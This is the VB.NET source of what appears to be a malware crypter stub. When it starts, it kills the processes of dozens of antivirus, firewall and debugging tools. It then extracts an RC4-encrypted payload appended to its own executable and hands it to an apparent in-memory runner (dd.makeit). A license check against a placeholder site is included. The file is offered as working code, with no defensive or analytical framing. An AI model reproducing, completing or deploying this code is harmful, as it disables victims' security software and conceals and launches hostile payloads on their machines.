Imports System.Text
Imports System.IO
Imports System.Management
Imports Microsoft.Win32
Imports System.Security.Cryptography
Imports System.Windows.Forms

Public Class Form1
    Dim ilikepie As String
   
    Sub boobies()
        Dim squirelaids As String
        Dim squirelaids1 As String
        Dim squirelaids2 As String
        Dim squirelaids3 As String
        'Getsquirelaids

        'Encrypt
        squirelaids1 = ("Wåñt3Ð" & squirelaids & "güid" & squirelaids & "untainted1337")

        squirelaids3 = WaNtINAtE(squirelaids + squirelaids1 + squirelaids2)
        ilikepie = WaNtINAtE(squirelaids3)
    End Sub
  

    Public Function RandomNumber(ByVal min As Integer, ByVal max As Integer) As Integer
        Dim random As New Random()
        Return random.Next(min, max)
    End Function
    Public Function GetRandom() As String
        Dim builder As New StringBuilder()
        builder.Append(RandomString(4, True))
        builder.Append(RandomNumber(1000, 9999))
        builder.Append(RandomString(2, False))
        Return builder.ToString()
    End Function
    Public Function RandomString(ByVal size As Integer, ByVal lowerCase As Boolean) As String
        Dim builder As New StringBuilder()
        Dim random As New Random()
        Dim ch As Char
        Dim i As Integer
        For i = 0 To size - 1
            ch = Convert.ToChar(Convert.ToInt32((26 * random.NextDouble() + 65)))
            builder.Append(ch)
        Next i
        If lowerCase Then
            Return builder.ToString().ToLower()
        End If
        Return builder.ToString()
    End Function
    Function WaNtINAtE(ByVal strToHash As String) As String
        Dim md5Obj As New Security.Cryptography.MD5CryptoServiceProvider
        Dim bytesToHash() As Byte = System.Text.Encoding.ASCII.GetBytes(strToHash)
        bytesToHash = md5Obj.ComputeHash(bytesToHash)
        Dim strResult As String = ""
        For Each b As Byte In bytesToHash
            strResult += b.ToString("x2")
        Next
        Return strResult
    End Function


    Private Sub CheckIfPieTastesGood()
        Dim bob As New WebBrowser
        Dim mygui As String
        mygui = GetPage("http://yoursite.com/secure_guid.php?guid=" & ilikepie)
        If Not mygui.ToString.Equals("yes") Then
            bob.Navigate("http://")
            MsgBox("Please activate your guid first!", MsgBoxStyle.Critical, "Error!")
            End
        End If
    End Sub
    Function kav()

        Dim JrsGhost As Process() = Process.GetProcesses
        Dim i As Integer
        For i = 0 To JrsGhost.Length - 1
            Select Case Strings.LCase(JrsGhost(i).ProcessName)
                Case "keyscrambler"
                    JrsGhost(i).Kill()
                Case "wireshark"
                    JrsGhost(i).Kill()
                Case "anubis"
                    JrsGhost(i).Kill()
                Case "mbam"
                    JrsGhost(i).Kill()
                Case "avp"
                    JrsGhost(i).Kill()
                Case "ollydbg"
                    JrsGhost(i).Kill()
                Case "outpost"
                    JrsGhost(i).Kill()
                Case "npfmsg"
                    JrsGhost(i).Kill()
                Case "bdagent"
                    JrsGhost(i).Kill()
                Case "egui"
                    JrsGhost(i).Kill()
                Case "zlclient"
                    JrsGhost(i).Kill()
                Case "navapsvc"
                    JrsGhost(i).Kill()
                Case "avkwctl"
                    JrsGhost(i).Kill()
                Case "fsav32"
                    JrsGhost(i).Kill()
                Case "mcshield"
                    JrsGhost(i).Kill()
                Case "ntrtscan"
                    JrsGhost(i).Kill()
                Case "avguard"
                    JrsGhost(i).Kill()
                Case "ashServ"
                    JrsGhost(i).Kill()
                Case "AVENGINE"
                    JrsGhost(i).Kill()
                Case "avgemc"
                    JrsGhost(i).Kill()
                Case "tmntsrv"
                    JrsGhost(i).Kill()
                Case "gcasServ"
                    JrsGhost(i).Kill()
                Case "SpybotSD"
                    JrsGhost(i).Kill()
                Case "Ad-Aware"
                    JrsGhost(i).Kill()
                Case "sunasServ"
                    JrsGhost(i).Kill()
                Case "spysweeper"
                    JrsGhost(i).Kill()
                Case "PPActiveDetection"
                    JrsGhost(i).Kill()
                Case "msscli"
                    JrsGhost(i).Kill()
                Case "Tmas"
                    JrsGhost(i).Kill()
                Case "swdoctor"
                    JrsGhost(i).Kill()
                Case "spycatcher"
                    JrsGhost(i).Kill()
                Case "nisum"
                    JrsGhost(i).Kill()
                Case "MpfService"
                    JrsGhost(i).Kill()
                Case "blackd"
                    JrsGhost(i).Kill()
                Case "fsdfwd"
                    JrsGhost(i).Kill()
                Case "smc"
                    JrsGhost(i).Kill()
                Case "zlclient"
                    JrsGhost(i).Kill()
                Case "persfw"
                    JrsGhost(i).Kill()
                Case "efpeadm"
                    JrsGhost(i).Kill()
                Case "fsguiexe"
                    JrsGhost(i).Kill()
                Case "kpf4gui"
                    JrsGhost(i).Kill()
                Case "pccpfw"
                    JrsGhost(i).Kill()
            End Select
        Next
    End Function
    Public Shared Function rc4(ByVal message As String, ByVal password As String) As String
        Dim i As Integer = 0
        Dim j As Integer = 0
        Dim cipher As New StringBuilder
        Dim returnCipher As String = String.Empty
        Dim sbox As Integer() = New Integer(256) {}
        Dim key As Integer() = New Integer(256) {}
        Dim intLength As Integer = password.Length
        Dim a As Integer = 0
        While a <= 255
            Dim ctmp As Char = (password.Substring((a Mod intLength), 1).ToCharArray()(0))
            key(a) = Microsoft.VisualBasic.Strings.Asc(ctmp)
            sbox(a) = a
            System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
        End While
        Dim x As Integer = 0
        Dim b As Integer = 0
        While b <= 255
            x = (x + sbox(b) + key(b)) Mod 256
            Dim tempSwap As Integer = sbox(b)
            sbox(b) = sbox(x)
            sbox(x) = tempSwap
            System.Math.Max(System.Threading.Interlocked.Increment(b), b - 1)
        End While
        a = 1
        While a <= message.Length
            Dim itmp As Integer = 0
            i = (i + 1) Mod 256
            j = (j + sbox(i)) Mod 256
            itmp = sbox(i)
            sbox(i) = sbox(j)
            sbox(j) = itmp
            Dim k As Integer = sbox((sbox(i) + sbox(j)) Mod 256)
            Dim ctmp As Char = message.Substring(a - 1, 1).ToCharArray()(0)
            itmp = Asc(ctmp)
            Dim cipherby As Integer = itmp Xor k
            cipher.Append(Chr(cipherby))
            System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
        End While
        returnCipher = cipher.ToString
        cipher.Length = 0
        Return returnCipher
    End Function
 
    Const filesplit = "@Toxicisthebest@"
    Public Shared Function StrToByteArray(ByVal str As String) As Byte()
        Dim encoding As New System.Text.ASCIIEncoding()
        Return encoding.GetBytes(str)
    End Function 'StrToByteArray
    Function ToByte(ByVal s As String) As Byte()
        Return System.Text.ASCIIEncoding.ASCII.GetBytes(s)
    End Function
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        kav()
        On Error Resume Next
        Dim TPath As String = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\"
        Dim file1, filezb4(), filezafter, fd As String

        FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)
        file1 = Space(LOF(1))
        FileGet(1, file1)
        FileClose(1)
        filezb4 = Split(file1, filesplit)
        filezafter = rc4(filezb4(1), "Toxicisthebest")
   




        Dim CryptedFile As Byte()
        CryptedFile = System.Text.Encoding.GetEncoding(1252).GetBytes(filezafter)
        dd.makeit(CryptedFile, Application.ExecutablePath)



        End
    End Sub



End Class